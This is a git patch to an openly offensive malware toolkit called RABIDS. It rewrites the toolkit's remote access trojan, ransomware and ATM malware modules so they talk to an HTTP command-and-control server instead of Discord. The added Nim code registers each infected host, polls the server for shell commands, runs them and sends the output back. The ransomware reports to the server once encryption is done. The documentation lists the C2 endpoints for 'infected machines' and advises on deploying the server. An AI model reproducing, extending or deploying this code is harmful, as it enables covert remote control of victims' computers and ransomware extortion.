From 5a2988fd7f846f87d17ecaad47ca369d04c4decf Mon Sep 17 00:00:00 2001 From: Abdullah Sarwar Date: Sun, 7 Dec 2025 18:28:04 +0500 Subject: [PATCH] HTTP SERVER --- DOC.md | 68 +++++++- MODULE/bankruptsys.nim | 6 +- MODULE/ghostintheshell.nim | 210 ++++++------------------ MODULE/krash.nim | 24 +-- MODULE/{ASSEMBLY => }/shaihulud.asm | 0 main.py | 243 ++-------------------------- 6 files changed, 143 insertions(+), 408 deletions(-) rename MODULE/{ASSEMBLY => }/shaihulud.asm (100%) diff --git a/DOC.md b/DOC.md index 463589f..b01a4b2 100644 --- a/DOC.md +++ b/DOC.md @@ -74,6 +74,63 @@ If you place `ghostintheshell` first, the `undeleteme` module will never run. --- +## Communication Method: HTTP Server + +RABIDS modules use an **HTTP server** for command and control (C2) and notifications. + +### HTTP Server + +The HTTP server is the communication method for all C2 modules. + +**Advantages:** +- Reliable and fast +- No rate limits or API restrictions +- Easy to set up and manage +- Perfect for production deployments + +**Required Endpoints:** +Your HTTP server should implement these endpoints: +- `POST /notify` - Receives notifications from infected machines +- `POST /register` - Registers new infected machines +- `GET /commands/{hostname}` - Returns commands for a specific machine +- `POST /response` - Receives command output from machines +- `GET /ping` - Health check endpoint + +**Modules using HTTP communication:** +- `ghostintheshell` - Remote access trojan +- `krash` - Ransomware notifications +- `bankruptsys` - ATM malware + +### Setting Up Your HTTP Server + +An example HTTP server implementation is included: `http_server_example.py` + +**Quick Start:** + +```bash +# Run the example server +python3 http_server_example.py + +# Or specify custom host/port +python3 http_server_example.py --host 0.0.0.0 --port 8080 +``` + +The example server provides: +- Machine registration and tracking +- Command queuing and delivery +- Response collection +- Notification handling +- Simple web API for manual C2 + +**For Production:** +- Deploy the server on a VPS or cloud instance +- Use a reverse proxy (nginx/caddy) with HTTPS +- Implement authentication and encryption +- Add database storage for persistence +- Set up logging and monitoring + +--- + ## Module: `ctrlvamp` **Description:** @@ -113,15 +170,15 @@ A data exfiltration tool that collects files from a specified directory, compres ## Module: `ghostintheshell` **Description:** -Provides a covert reverse shell by leveraging the Discord API. The payload connects to Discord as a bot and listens for commands from a specific user, allowing for remote command execution on the victim's machine. +Provides a covert reverse shell via HTTP server communication. The payload connects to your HTTP C2 server for remote command execution. **How it works:** -The payload logs into Discord using the provided bot token. It then waits for messages from the specified `creatorId`. Any message received from that user is executed as a shell command, and the output is sent back as a message to the same Discord channel. + +The payload connects to your HTTP server, registers itself, and polls for commands every 2 seconds. Commands are executed and results are sent back via HTTP POST. **Options:** -- `discordToken`: The authentication token for your Discord bot. -- `creatorId`: Your unique Discord user ID. The bot will only accept commands from this user to prevent unauthorized access. +- `serverUrl`: The URL of your HTTP C2 server (e.g., `http://your-server.com:8080`). --- @@ -142,8 +199,11 @@ A ransomware module that encrypts files within a target directory. After encrypt - `extension`: The file extension to append to encrypted files (e.g., `.locked`). - `targetDir`: The directory whose contents will be encrypted. - `htmlContent`: The HTML content of the ransom note that will be displayed to the victim. +- `serverUrl`: Your HTTP server URL for notifications. - `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab. +**Note:** After encryption completes, the module sends a notification to your HTTP server. + --- ## Module: `poof` diff --git a/MODULE/bankruptsys.nim b/MODULE/bankruptsys.nim index 51b6103..f9c49dd 100644 --- a/MODULE/bankruptsys.nim +++ b/MODULE/bankruptsys.nim @@ -1,7 +1,7 @@ import strutils, tables, os, dynlib, streams, osproc, sequtils, json when not defined(xfs): - import dimscord, asyncdispatch, times, options, httpclient, threadpool, random + import asyncdispatch, times, httpclient, threadpool, random when defined(windows): import winim/lean as winlean, winim/com @@ -701,9 +701,7 @@ proc loadState(output: Stream) = when not defined(xfs): const - discordToken* = "YOUR_DISCORD_BOT_TOKEN" - creatorId* = "YOUR_DISCORD_USER_ID" - let discord = newDiscordClient(discordToken) + serverUrl* = "http://localhost:8080" var currentDir = getCurrentDir() diff --git a/MODULE/ghostintheshell.nim b/MODULE/ghostintheshell.nim index 55044d6..8bf6d13 100644 --- a/MODULE/ghostintheshell.nim +++ b/MODULE/ghostintheshell.nim @@ -1,9 +1,7 @@ -import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams, random +import asyncdispatch, times, httpclient, osproc, os, strutils, json, threadpool, streams, random const - discordToken* = "" - creatorId* = "" -let discord = newDiscordClient(discordToken) + serverUrl* = "http://localhost:8080" var currentDir = getCurrentDir() @@ -51,31 +49,8 @@ proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.as discard execShellCmd("kill -9 " & $pidHolder[]) return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds." -proc sendMessage(channelId: string, content: string): Future[Message] {.async.} = - result = await discord.api.sendMessage(channelId, content) - -proc sendLongMessage(channelId: string, content: string): Future[void] {.async.} = - const maxLen = 1980 # Leave room for code block characters - if content.len == 0: - discard await discord.api.sendMessage(channelId, "```\n(Command executed with no output)\n```") - - var remaining = content - while remaining.len > 0: - let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining - discard await discord.api.sendMessage(channelId, "```\n" & chunk & "\n```") - if remaining.len > maxLen: - remaining = remaining[maxLen .. ^1] - else: - remaining = "" - -proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} = - let fileContent = readFile(filePath) - discard await discord.api.sendMessage( - channelId, - files = @[DiscordFile(name: fileName, body: fileContent)] - ) - -proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} = +proc handleCommand(rawCmd: string, client: HttpClient): Future[string] {.async.} = + let cmd = rawCmd.strip() if cmd == "!help": return """Available Commands: @@ -111,8 +86,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin return currentDir elif cmd == "!sysinfo": - var resultMsg: string - const maxLen = 1900 when defined(linux): let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir) let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir) @@ -120,50 +93,25 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin var info = unameOut if lsbExit == 0 and lsbOut.len > 0: info &= "\n" & lsbOut - var remaining = info - while remaining.len > 0: - let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining - discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```") - if remaining.len > maxLen: - remaining = remaining[maxLen .. ^1] - else: - remaining = "" - resultMsg = "System info sent." + return info else: - resultMsg = "Failed to get system info: " & unameOut + return "Failed to get system info: " & unameOut elif defined(windows): let powershellScript = "Get-ComputerInfo | ConvertTo-Json" let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\"" let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir) if exitCode != 0: - resultMsg = "command failed with exit code " & $exitCode & ":\n" & output + return "command failed with exit code " & $exitCode & ":\n" & output else: - var remaining = output - while remaining.len > 0: - let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining - discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```") - if remaining.len > maxLen: - remaining = remaining[maxLen .. ^1] - else: - remaining = "" - resultMsg = "System info sent." + return output elif defined(macosx): let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir) if exitCode != 0: - resultMsg = "command failed with exit code " & $exitCode & ":\n" & output + return "command failed with exit code " & $exitCode & ":\n" & output else: - var remaining = output - while remaining.len > 0: - let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining - discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```") - if remaining.len > maxLen: - remaining = remaining[maxLen .. ^1] - else: - remaining = "" - resultMsg = "System info sent." + return output else: - resultMsg = "sysinfo not supported on this platform." - return resultMsg + return "sysinfo not supported on this platform." elif cmd.startsWith("!cd "): let newDir = cmd[3..^1].strip() @@ -190,14 +138,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin except CatchableError as e: return "failed to download file: " & e.msg - elif cmd.startsWith("!download "): - let fileName = cmd[9..^1].strip() - let filePath = joinPath(currentDir, fileName) - if fileExists(filePath): - await sendFile(m.channel_id, filePath, fileName) - return "download successful" - else: - return "file not found: " & filePath elif cmd.startsWith("!mkdir "): let dirName = cmd[6..^1].strip() @@ -235,41 +175,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin else: return "no such file or directory: " & path - elif cmd == "!screencapture": - when defined(macosx): - let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg" - let filePath = joinPath(currentDir, fileName) - let (output, exitCode) = execCmdEx("screencapture -x " & filePath) - if exitCode == 0 and fileExists(filePath): - await sendFile(m.channel_id, filePath, fileName) - if fileExists(filePath): - removeFile(filePath) - return "screenshot taken, sent and deleted!" - else: - return "failed to take screenshot: " & output - elif defined(windows): - let fileName = "screenshot_" & $now().toTime().toUnix() & ".png" - let filePath = joinPath(currentDir, fileName) - let powershellScript = """ - Add-Type -AssemblyName System.Windows.Forms - Add-Type -AssemblyName System.Drawing - $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds - $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height - $graphics = [System.Drawing.Graphics]::FromImage($bitmap) - $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size) - $bitmap.Save('%1', [System.Drawing.Imaging.ImageFormat]::Png) - """ - let command = "powershell -Command \"" & powershellScript.replace("%1", filePath.replace("\\", "\\\\")) & "\"" - let (output, exitCode) = execCmdEx(command) - if exitCode == 0 and fileExists(filePath): - await sendFile(m.channel_id, filePath, fileName) - if fileExists(filePath): - removeFile(filePath) - return "Screenshot taken, sent and deleted!" - else: - return "failed to take screenshot: " & output - else: - return "screencapture not supported on this platform." else: try: @@ -313,60 +218,51 @@ proc generateSessionId(): string = var machineName: string -proc onReady(s: Shard, r: Ready) {.event(discord).} = +proc httpServerMode() {.async.} = + echo "Starting HTTP server mode..." machineName = getEnv("MACHINE_NAME", generateSessionId()) - if machineName notin sessionRegistry: - sessionRegistry.add(machineName) + + # Register with server try: - let dm = await discord.api.createUserDm(creatorId) - discard await discord.api.sendMessage(dm.id, machineName & " is live!") - except: - echo "Could not send startup message to creator ID: ", creatorId - -proc messageCreate(s: Shard, m: Message) {.event(discord).} = - var client = newHttpClient() - let content = m.content.strip() - echo "Processing command: ", content - - if content == "!sessions": - let sessionList = if sessionRegistry.len == 0: "No active sessions." else: sessionRegistry.join("\n") - discard await sendMessage(m.channel_id, sessionList) - return - elif content == "!ping": - let before = epochTime() * 1000 - let msg = await discord.api.sendMessage(m.channel_id, "ping?") - let after = epochTime() * 1000 - discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.") + let client = newHttpClient() + let data = "{\"hostname\":\"" & machineName & "\",\"status\":\"live\"}" + client.headers = newHttpHeaders({"Content-Type": "application/json"}) + discard client.postContent(serverUrl & "/register", body = data) + echo machineName & " registered with HTTP server" + except Exception as e: + echo "Failed to register with HTTP server: ", e.msg return - if content.startsWith("!") and not content.startsWith("!sessions") and not content.startsWith("!ping"): - let parts = content.split(' ', 1) - let firstWord = parts[0] - let isTargeted = firstWord.len > 1 and firstWord.startsWith("!") and not firstWord.startsWith("!!") - - if isTargeted: - # Command is like "!session-name !command" - let targetName = firstWord[1..^1] - - if targetName == machineName: - let commandToRun = if parts.len > 1: parts[1].strip() else: "" - if commandToRun.len > 0 and commandToRun.startsWith("!"): - try: - let output = await handleCommand(commandToRun, m, client) - if output.len > 0: - await sendLongMessage(m.channel_id, output) - except CatchableError as e: - discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg) - else: - discard await sendMessage(m.channel_id, machineName & " is here!") - else: - try: - let output = await handleCommand(content, m, client) - if output.len > 0: - await sendLongMessage(m.channel_id, output) - except CatchableError as e: - echo "Error executing command: ", e.msg - discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg) + # Poll for commands + while true: + try: + let client = newHttpClient() + let response = client.getContent(serverUrl & "/commands/" & machineName) + if response.len > 0: + let cmdData = parseJson(response) + if cmdData.hasKey("command"): + let cmd = cmdData["command"].getStr() + echo "Received command: ", cmd + let output = await handleCommand(cmd, client) + # Send response back + let respData = "{\"hostname\":\"" & machineName & "\",\"output\":\"" & output.replace("\"", "\\\"") & "\"}" + client.headers = newHttpHeaders({"Content-Type": "application/json"}) + discard client.postContent(serverUrl & "/response", body = respData) + except Exception as e: + echo "Error in command loop: ", e.msg + await sleepAsync(2000) # Poll every 2 seconds proc main() = - waitFor discord.startSession() + if serverUrl.len == 0: + echo "Error: Server URL not configured" + return + + try: + let client = newHttpClient() + discard client.getContent(serverUrl & "/ping") + echo "HTTP server is available at: ", serverUrl + waitFor httpServerMode() + except Exception as e: + echo "Failed to connect to HTTP server: ", e.msg + echo "Please check server URL and ensure server is running" + diff --git a/MODULE/krash.nim b/MODULE/krash.nim index db92cbf..50ccb63 100644 --- a/MODULE/krash.nim +++ b/MODULE/krash.nim @@ -1,4 +1,4 @@ -import os, nimcrypto, strutils, osproc, dimscord, asyncdispatch, options +import os, nimcrypto, strutils, osproc, asyncdispatch, httpclient const defaultHtml = """ @@ -55,8 +55,7 @@ const key* = "0123456789abcdef0123456789abcdef" const iv* = "abcdef9876543210" const extension* = ".locked" var htmlContent* = "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE" -const discordToken* = "YOUR_DISCORD_BOT_TOKEN" -const creatorId* = "YOUR_DISCORD_USER_ID" +const serverUrl* = "http://localhost:8080" proc processFile(file: string, key: string, iv: string, extension: string) = try: @@ -128,18 +127,19 @@ proc getHostname(): string = let machineName = getHostname() -proc sendDiscordMessage(message: string) {.async.} = - if discordToken.len == 0 or creatorId.len == 0: - echo "Discord token or creator ID is missing. Skipping notification." +proc sendNotification(message: string) {.async.} = + if serverUrl.len == 0: + echo "Server URL not configured. Skipping notification." return - let discord = newDiscordClient(discordToken) - try: - let dm = await discord.api.createUserDm(creatorId) - discard await discord.api.sendMessage(dm.id, machineName & ": " & message) + let client = newHttpClient() + let data = "{\"hostname\":\"" & machineName & "\",\"message\":\"" & message & "\"}" + client.headers = newHttpHeaders({"Content-Type": "application/json"}) + let response = client.postContent(serverUrl & "/notify", body = data) + echo "Notification sent to HTTP server: ", message except Exception as e: - echo "Failed to send Discord message: ", e.msg + echo "Failed to send notification to HTTP server: ", e.msg proc main() = when defined(decrypt): @@ -192,5 +192,5 @@ proc main() = echo "Ransom note created at ", ransomFile except OSError as e: echo "Error creating or opening ransom note: ", e.msg - waitFor sendDiscordMessage("Encryption complete") + waitFor sendNotification("Encryption complete") diff --git a/MODULE/ASSEMBLY/shaihulud.asm b/MODULE/shaihulud.asm similarity index 100% rename from MODULE/ASSEMBLY/shaihulud.asm rename to MODULE/shaihulud.asm diff --git a/main.py b/main.py index 0ef334d..77df425 100644 --- a/main.py +++ b/main.py @@ -15,8 +15,6 @@ from PyQt5.QtWidgets import ( import json from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl -import discord -import asyncio ASCII = r""" """ @@ -78,8 +76,7 @@ MODULE_OPTIONS = { 'dumpsterFile': '$HOME/dumpster.dat' }, 'module/ghostintheshell': { - 'discordToken': 'YOUR_DISCORD_BOT_TOKEN', - 'creatorId': 'YOUR_DISCORD_USER_ID' + 'serverUrl': 'http://localhost:8080' }, 'module/krash': { 'key': '0123456789abcdef0123456789abcdef', @@ -87,8 +84,7 @@ MODULE_OPTIONS = { 'extension': '.locked', 'targetDir': '$HOME/Documents', 'htmlContent': DEFAULT_KRASH_HTML, - 'discordToken': 'YOUR_DISCORD_BOT_TOKEN', - 'creatorId': 'YOUR_DISCORD_USER_ID', + 'serverUrl': 'http://localhost:8080' }, 'module/poof': { 'targetDir': '$HOME/Documents' @@ -102,8 +98,7 @@ MODULE_OPTIONS = { 'embedFiles': 'path/to/driver.sys,path/to/cert.pem' }, 'module/bankruptsys': { - 'discordToken': 'YOUR_DISCORD_BOT_TOKEN', - 'creatorId': 'YOUR_DISCORD_USER_ID', + 'serverUrl': 'http://localhost:8080' }, 'module/winkrashv2': { 'key': 'secret', @@ -112,145 +107,6 @@ MODULE_OPTIONS = { } -class DiscordListener(QObject): - device_status_update = pyqtSignal(str, str) - - def __init__(self, token, creator_id=None): - super().__init__() - self.token = token - self.creator_id = creator_id - intents = discord.Intents.default() - intents.message_content = True - self.client = discord.Client(intents=intents) - - @self.client.event - async def on_ready(): - print(f'GUI Listener logged in as {self.client.user}') - self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}") - - creator_found = False - if self.creator_id: - try: - creator = await self.client.fetch_user(int(self.creator_id)) - if not creator: - self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}") - return - self.device_status_update.emit("SYSTEM", f"Fetching DM history with {creator.name}...") - await self.fetch_history(creator) - creator_found = True - except (ValueError, discord.NotFound): - self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}") - except discord.Forbidden: - self.device_status_update.emit("ERROR", "Bot does not have permission to fetch DM history.") - - if not creator_found: - self.device_status_update.emit("SYSTEM", "No Creator ID provided or user not found. Only listening for new DMs.") - - @self.client.event - async def on_message(message): - is_dm = isinstance(message.channel, discord.DMChannel) - is_from_creator = self.creator_id and str(message.author.id) == self.creator_id - - if is_dm and is_from_creator: - self.process_encryption_message(message.content) - - async def fetch_history(self, user): - """Fetches and processes historical messages from a user.""" - async for msg in user.history(limit=100): - if ':' in msg.content and 'encryption complete' in msg.content.lower(): - self.process_encryption_message(msg.content) - - def process_encryption_message(self, content): - if ':' in content and 'encryption complete' in content.lower(): - hostname = content.split(':', 1)[0].strip() - self.device_status_update.emit(hostname, "Encrypted") - - async def run_client(self): - try: - await self.client.start(self.token) - except discord.LoginFailure: - self.device_status_update.emit("ERROR", "Discord login failed. Check the token.") - - async def stop_client(self): - if self.client: - await self.client.close() - -class DiscordC2Client(QObject): - """Handles Discord connection and communication for the C2 tab.""" - log_message = pyqtSignal(str, str) - connection_status = pyqtSignal(bool) - - def __init__(self, token, target_user_id): - super().__init__() - self.token = token - self.target_user_id = target_user_id - self.target_user = None - intents = discord.Intents.default() - intents.messages = True - intents.dm_messages = True - intents.message_content = True - self.client = discord.Client(intents=intents) - - @self.client.event - async def on_ready(): - self.log_message.emit(f"C2 client logged in as {self.client.user}", "success") - try: - self.target_user = await self.client.fetch_user(int(self.target_user_id)) - self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success") - self.connection_status.emit(True) - except (ValueError, discord.NotFound): - self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error") - await self.stop_client() - except discord.Forbidden: - self.log_message.emit("Bot does not have permission to fetch user.", "error") - await self.stop_client() - - @self.client.event - async def on_message(message): - is_dm = isinstance(message.channel, discord.DMChannel) - - if is_dm: - content = message.content.strip() - if content: - if content.startswith("```") and content.endswith("```"): - content = re.sub(r"```(plaintext\n)?|```", "", content).strip() - self.log_message.emit(content, "c2_recv") - if message.attachments: - for attachment in message.attachments: - self.log_message.emit(f"Received file: {attachment.filename}", "c2_recv") - - async def send_dm(self, content): - if self.target_user: - try: - sent_content = content.strip() - await self.target_user.send(sent_content) - self.log_message.emit(sent_content, "c2_sent") - return True - except discord.Forbidden: - self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error") - return False - except Exception as e: - self.log_message.emit(f"Failed to send DM: {str(e)}", "error") - return False - else: - self.log_message.emit("Not connected to a target user.", "error") - return False - - async def run_client(self): - try: - await self.client.start(self.token) - except discord.LoginFailure: - self.log_message.emit("C2 client login failed. Check the token.", "error") - self.connection_status.emit(False) - except Exception as e: - self.log_message.emit(f"C2 client error: {str(e)}", "error") - self.connection_status.emit(False) - - async def stop_client(self): - if self.client and self.client.is_ready(): - await self.client.close() - self.log_message.emit("C2 client disconnected.", "system") - self.connection_status.emit(False) class BuildThread(QThread): log_signal = pyqtSignal(str, str) @@ -290,71 +146,6 @@ class BuildThread(QThread): self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error") self.finished_signal.emit(-1) -class DiscordListenerThread(QThread): - device_status_update = pyqtSignal(str, str) - - def __init__(self, token, creator_id=None): - super().__init__() - self.token = token - self.creator_id = creator_id - self.listener = None - self.loop = None - - def run(self): - self.loop = asyncio.new_event_loop() - asyncio.set_event_loop(self.loop) - listener = DiscordListener(self.token, self.creator_id) - listener.device_status_update.connect(self.device_status_update) - self.listener = listener - self.loop.run_until_complete(listener.run_client()) - - def refresh_messages(self): - if self.loop and self.listener and self.listener.client and self.listener.client.is_ready(): - if self.creator_id: - async def do_refresh(): - try: - creator = await self.listener.client.fetch_user(int(self.creator_id)) - if creator: - self.device_status_update.emit("SYSTEM", f"Refreshing DM history with {creator.name}...") - await self.listener.fetch_history(creator) - self.device_status_update.emit("SYSTEM", "Refresh complete.") - except Exception as e: - self.device_status_update.emit("ERROR", f"Failed to refresh: {e}") - - self.loop.call_soon_threadsafe(self.loop.create_task, do_refresh()) - - def stop(self): - if self.loop and self.listener: - self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client()) - self.device_status_update.emit("SYSTEM", "Disconnected from Discord.") - -class C2Thread(QThread): - """Runs the Discord C2 client in a separate thread.""" - log_message = pyqtSignal(str, str) - connection_status = pyqtSignal(bool) - - def __init__(self, token, target_user_id): - super().__init__() - self.token = token - self.target_user_id = target_user_id - self.c2_client = None - self.loop = None - - def run(self): - self.loop = asyncio.new_event_loop() - asyncio.set_event_loop(self.loop) - self.c2_client = DiscordC2Client(self.token, self.target_user_id) - self.c2_client.log_message.connect(self.log_message) - self.c2_client.connection_status.connect(self.connection_status) - self.loop.run_until_complete(self.c2_client.run_client()) - - def send_message(self, content): - if self.loop and self.c2_client and self.c2_client.client.is_ready(): - asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop) - - def stop(self): - if self.loop and self.c2_client: - asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop) class DependencyInstallerThread(QThread): log_signal = pyqtSignal(str, str) @@ -434,8 +225,6 @@ class RABIDSGUI(QMainWindow): self.selected_modules = [] self.loading_movie = None self.build_thread = None - self.discord_thread = None - self.c2_thread = None self.installer_thread = None self.option_inputs = {} self.current_option_values = {} @@ -874,7 +663,7 @@ class RABIDSGUI(QMainWindow): left_column_layout.addLayout(devices_header_layout) live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n" - "Devices appear here after reporting back via the Discord listener.") + "Devices report back via HTTP server.") live_devices_desc_label.setFont(subtitle_font) live_devices_desc_label.setStyleSheet("color: #FFF100;") live_devices_desc_label.setWordWrap(True) @@ -925,7 +714,7 @@ class RABIDSGUI(QMainWindow): c2_header_layout.addWidget(c2_title) c2_left_layout.addLayout(c2_header_layout) - c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload. \nControl victim's device remotely") + c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload.\nCommunication via HTTP Server\nControl victim's device remotely") c2_desc.setFont(subtitle_font) c2_desc.setStyleSheet("color: #00A9FD;") c2_desc.setWordWrap(True) @@ -986,17 +775,11 @@ class RABIDSGUI(QMainWindow): setting_layout.addSpacing(10) return setting_layout - listener_token_label = QLabel("Listener Bot Token") - self.settings_discord_token_edit = QLineEdit() - listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality." - listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc) - settings_layout.addLayout(listener_layout) - - listener_creator_id_label = QLabel("Discord User ID") - self.settings_listener_creator_id_edit = QLineEdit() - listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user." - listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc) - settings_layout.addLayout(listener_creator_id_layout) + server_url_label = QLabel("HTTP Server URL") + self.settings_server_url_edit = QLineEdit() + server_url_desc = "The URL of your HTTP C2 server. Example: http://your-server.com:8080" + server_url_layout = create_setting_layout(server_url_label.text(), self.settings_server_url_edit, server_url_desc) + settings_layout.addLayout(server_url_layout) settings_layout.addSpacing(20) @@ -1825,8 +1608,7 @@ class RABIDSGUI(QMainWindow): "output_dir": self.restore_output_dir_edit.text() }, "listener": { - "token": self.settings_discord_token_edit.text(), - "creator_id": self.settings_listener_creator_id_edit.text() + "server_url": self.settings_server_url_edit.text() } } try: @@ -1866,8 +1648,7 @@ class RABIDSGUI(QMainWindow): self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", "")) listener_cfg = config.get("listener", {}) - self.settings_discord_token_edit.setText(listener_cfg.get("token", "")) - self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", "")) + self.settings_server_url_edit.setText(listener_cfg.get("server_url", "http://localhost:8080")) except (json.JSONDecodeError, KeyError) as e: print(f"Error loading settings from config file: {e}")